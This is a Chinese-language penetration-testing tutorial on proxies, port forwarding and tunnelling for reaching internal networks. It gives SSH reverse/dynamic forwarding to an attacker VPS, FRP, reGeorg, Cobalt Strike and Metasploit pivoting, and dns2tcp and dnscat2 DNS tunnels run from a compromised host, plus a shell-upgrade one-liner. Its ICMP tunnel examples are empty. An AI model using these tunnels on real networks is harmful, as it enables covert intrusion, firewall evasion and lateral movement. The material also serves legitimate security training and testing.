代理与转发
0x00 前言
- 渗透测试中,为了发现内网资产的脆弱性,暴露更大的攻击面,往往需要搭建代理通道,在外网中实现对内网系统的访问。
- 进入内网后,为突破内网网络边界隔离,同样需要搭建多层代理,实现从dmz等入口边界网络向生产网、核心网、办公网等靶标所在网络的跨越。
- 在多层网络隔离的情况下,为了实现对更深层次网络的访问,往往需要在最深处搭建代理,同时结合端口转发技术实现网络跨越。
- 网络环境中只允许指定端口出网时,为了实现边界突破,进行端口复用,实现对防火墙的跨越。
0x01 概念
什么是代理
代理其实就是一个中介,A和B本来可以直连,中间插入一个C,C就是中介。刚开始的时候,代理多数是帮助内网client访问外网server用的,后来出现了反向代理,”反向”这个词在这儿的意思其实是指方向相反,即代理将来自外网客户端的请求转发到内网服务器,从外到内。
正向代理
指一个位于客户端和原始服务器(origin server)之间的服务器。为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端才能使用正向代理。
比如我们国内访问谷歌,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服,代理服务器能够访问谷歌,这样由代理去谷歌取到返回数据,再返回给我们,这样我们就能访问谷歌了。
反向代理
服务器根据客户端的请求,从其关联的一组或多组后端服务器(如web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的ip地址,而不知道代理服务器后面的服务器簇的存在。
反向代理(Reverse Proxy)实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。
举个小例子,A向B借钱,B没有拿自己的钱,而是悄悄地向C借钱,拿到钱之后再交给A,A以为是B的钱,他并不知道C的存在。
看图理解正向代理和反向代理:
、
端口转发
顾名思义,端口转发就是将端口进行转发,具体哪个端口转发到哪个端口要以应用场景为准,比如我们拿到一台内网服务器A的权限,通过扫描发现了同内网的另一台服务器B且开了80端口,我们该如何使用浏览器访问它呢?我们画一个图如下:
从图中可以看到,我们已经与A建立了通道,我们可以在A上上传任意文件,执行任意的系统命令,我们如何能够访问B的80端口?假设A是在公网上,有公网IP,我们可以访问它的任意端口。
1、直接在A上执行curl命令访问B的80端口(这种方式不方便我们测试B的80端口的漏洞,不方便利用)
2、在A上开启一个 socks 5代理,我们使用浏览器设置好代理,将我们的浏览器代理到目标内网,然后访问B的80端口。
3、在A上执行端口转发,将B的80端口转发到A的8080,然后我们直接用浏览器访问A的8080端口即可,这个原理就是端口转发。
端口复用
端口复用字面意思就是不同的应用程序使用相同端口进行通讯。
端口复用在系统已开放的端口上进行通讯,只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制类操作,所以对网络数据的传输性几乎没有影响。
端口映射
端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。
举个栗子:我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。并且,在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器能准确的将消息发送给外网请求用户的主机。在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全。
端口映射顾名思义,就是映射端口,就是将一个内网端口映射到公网上的某个端口,我们来看一个实例,我自己的电脑是在内网中,没有公网IP,但是我想提供一个端口供其他人使用,怎么办呢?我们来看一个图:
A和B在不同的内网,各自有自己的内网IP,但是互相无法直接访问,这时就需要一个中间服务器,要A和B都可以访问然后作为中转服务器,实现上面的目标,这个中间服务器需要有一个公网IP。
左图的C就是有公网IP的中间服务器,我们可以将A的80端口映射到C的80端口,这时,B就可以访问C的80端口,也就相当于访问A的80端口了,这里其实核心原理也是端口转发,只不过是将本机的端口转发到远程的某个端口。
0x02 关于代理协议及常用工具
代理客户端工具
- Proxifier
Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。纯图像化界面,使用简单方便。
- Proxychains
ProxyChains是一个开源代理工具,能够强制使任何应用的TCP连接使用SOCKS4,SOCKS或者HTTP(S)代理进行连接。
使用方式参考:https://www\.fujieace\.com/kali\-linux/proxychains\.html
- Sockscap64
SocksCap64 可以指定应用程序走Socks4/5 HTTP Shadowsocks代理,无论应用程序是否支持。
SocksCap64 支持TCP&UDP网络协议,适用于 XP/Vista/Win7/Win8/Win8.1/Win10 的32位及64位系统。
使用方式参考:https://blog.csdn.net/qq_50854790/article/details/122602490
__常见代理协议及特点 __
TCP
- 面向连接的传输层协议
- 每一条只能有两个端点
- 连接可靠
- 提供全双工通信
- 面向字节流
UDP
- 无连接
- 面向报文
- 尽最大努力交付
- 没有拥塞控制
- 支持一对一、一对多、多对一、多对多通信
- 首部开销小
常见代理技术
*协议* | *应用层协议* |
---|---|
TCP | Socks4a |
Socks5 | |
Websocks | |
UDP | KCP |
ICMP | |
DNS |
TCP
Socks4a、
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。SOCKS是”SOCKetS”的缩写。Socks4a是Socks4协议的简单扩展。
常用支持软件:
- CobaltStrike
- Metasploit
- CobaltStrike
开启代理
- 右键要开启代理的Beacon
- 点击Pivoting
- 点击Socks Server
- 输入TeamServer监听端口开启Socaks4a代理
注意事项
- 默认http通道速度最快
- 可以选择DNS TXT模式使用DNS隧道
- Metasploit
会话经常中断,需要重新输入指令,因此不推荐使用。可以先使用msf,后转移至CS或上传代理工具等。
Msf自带路由,默认使用本机网卡发包。
首先设置路由:
- msf会话:route [add/remove] subnet netmask [comm/sid]
- meterpreter会话:run autoroute [-r] -s subnet -n netmask
开启代理服务器:
- use auxiliary/server/socks4a
- use auxiliary/server/socks5
Socks5
Socks5相对socks4a多了鉴定、ipv6、udp支持。
Socks5为最常用的代理流量通道
常见软件
- SSH
- FRP
- SSH
① SSH协议
SSH为secure shell的缩写,由IETF的网络小组所制定。
SSH为建立在应用层基础上的安全协议。
SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。
利用SSH协议可以有效防止远程管理过程中的信息泄露问题。
Linux/Unix自带,无其他依赖。
② SSH隧道
更改vps sshd配置文件,开启端口转发:GatewayPorts yes
动态转发 -D(开启socks5服务)
本地转发 -L(把远程某端口转发到本地某端口上)
远程转发 -R(把本地某端口转发到远程某端口上)
③ 通过SSH建立内网隧道
前提:
需要root权限
需要一台公网vps
需要更改vps sshd配置文件,开启端口转发:GatewayPorts yes(修改后重启ssh:systemctl restart sshd.service)
# 内网主机上:
## 开启ssh本地代理端口
SSH -qTfnN -D 0.0.0.0:[内网socks5服务端口] root@localhost
## SSH -D [端口]:-D直接跟端口表示监听127.0.0.1,不推荐。
## 将该端口转发到自己可控的公网vps上
SSH -qTfnN -R 0.0.0.0:[远程vps中转端口]:0.0.0.0:[内网socks5服务端口] root@vps
# 攻击机上:
## 【可选】防止流量被监测,将vps端口转发至本地
SSH -L 0.0.0.0:[本地监听端口]:0.0.0.0:[远程vps中转端口] root@vps
-q 安静模式
-T 禁止远程分配终端
-f 把 ssh 放到后台运行
-n 关闭标准输入
-N 不执行远程命令
或者简单一点:直接用-D参数
- FRP
FRP是一个使用go语言编写的可用于内网穿透的高性能反向代理应用,支持tcp、udp、kcp协议,实现了点对点穿透,同时可自定义心跳,保证连接会话持久稳定。
- 服务器端:
- 设置dashboard方便管理
- 统一token
- 设置心跳
- 客户端:
- 科幻段上线名称建议为ip+备注
- 端口统一管理
- 流量加密并压缩
# 客户端执行:
frpc -c frpc.ini
# 服务器端执行:
frps -c frps.ini
Websocks
应用层socks代理,一般用于web渗透搭建代理通道
服务器所有协议无法出外网时的唯一选择
常用的代理程序regeorg
- 需要删除原有的http头特征
- 本地安装urllib3包
reGeorgSocksProxy.py -l 127.0.0.1 -p [端口] -u [脚本url] -r 1024
# -r设置缓存大小,使regeorg更稳定
使用方式参考:
[https://blog\.csdn\.net/qq\_38963246/article/details/103994097](https://blog.csdn.net/qq_38963246/article/details/103994097)
[https://www\.cnblogs\.com/renhaoblog/p/14577782\.html](https://www.cnblogs.com/renhaoblog/p/14577782.html)
regeorg链接:
https://github.com/sensepost/reGeorg
UDP
ICMP
icmp是TCP/IP协议簇的一个子协议,用于在ip主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
协议带有message body,利用该部分实现信息传递:
- windows默认data部分为:abcdefghijklmnopqrstuvwabcdefghi
- linux默认data部分为:!“#$%&’()*+,-./01234567
data部分大小可以设置为0-65550。
自定义data部分可实现消息传输。
使用ptunnel建立icmp隧道:
- 两端需要安装libpcap依赖
- 需要结合ssh等socks通道
# 客户端:
1 |
|
# 服务器端:
1 |
|
实例:
# 客户端:
1 |
|
# 服务器端:
1 |
|
DNS
dns是英特网使用的命名系统,运行在应用层,承载于udp之上,默认使用53端口,特殊情况(DoH,DNSoverHTTPS)下也使用tcp。
- dns记录
*记录类型* | *记录说明* |
---|---|
A记录 | 地址记录,用来指定域名的IPv4地址(如:8.8.8.8),如果需要将域名指向一个IP地址,就需要添加A记录。 |
CNAME | 如果需要将域名指向另一个域名,再由另一个域名提供ip地址,就需要添加CNAME记录。 |
TXT | 在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。 |
NS | 域名服务器记录,如果需要把子域名交给其他DNS服务商解析,就需要添加NS记录。 |
AAAA | 用来指定主机名(或域名)对应的IPv6地址(例如:ff06:0:0:0:0:0:0:c3)记录。 |
MX | 如果需要设置邮箱,让邮箱能收到邮件,就需要添加MX记录。 |
显性url | 从一个地址301重定向到另一个地址的时候,就需要添加显性url记录。 |
隐形URL | 类似于显性url,区别在于隐形url不会改变地址栏中的域名。 |
SRV | 记录了哪台计算机提供了哪个服务。格式为:服务的名字、点、协议的类型,例如:_xmpp-server._tcp。 |
2.dns隧道
dns隧道前置条件:域名服务器指向自己的服务器
- 确保所有的dns解析流量都经过自己的vps服务器
服务器开启udp 53端口:
确保根域名服务器能够及时发送dns解析流量到自己的服务器
① 正向dns隧道
使用dns2tcp结合ssh隧道建立dns隧道:
# 安装dns2tcp:
# 服务器端使用dns2tcpd加载配置文件
dns2tcpd -f dns2tcp.conf -F -d 2
# 客户端使用dns2tcpc将远程端口转发到本地
dns2tcpc -c -r ssh -l 26666 -d 4 -z tunnel.evevnote.com -k nsfo123
# 使用ssh打通socks5隧道
ssh -CfNg root@127.0.0.1 -p 26666 -D 26667
dns2tcp.conf:
listen = 0.0.0.0
port = 53
uesr = root
chroot = /tmp/
domain = tunnel.evevnote.com
resource = ssh:127.0.0.1:29672
key = nsfo123
小技巧:如果ns来不及改,可以把本地首选dns指向自己的服务器。
② 反向dns隧道
dnscat2
- 通过dns协议创建隧道
- server段依赖ruby(高版本ruby及多个依赖包)
- client C语言开发,静态编译兼容性高
# 客户端即被控主机
./dnscat [泛解析域名] -secret=[密钥]
# 服务器端即vps
ruby dnscat2.rb [泛解析域名] -secret=[密钥]
实例:
# 客户端即被控主机
./dnscat aaaa.cn -secret=qwer1234
# 服务器端即vps
ruby dnscat2.rb aaaa.cn -secret=qwer1234
获取session后先用ping命令检测,正常回复pong!
在command session中输入shell会开启新的sh session。
如果存在python环境,使用如下命令进入交互式shell:
python \-c 'import pty;pty\.spawn\("/bin/bash"\)'
0x03 代理场景总结
- 解决IP限制问题
- 隐藏用户信息
- 提升网络速度
- 内网横向移动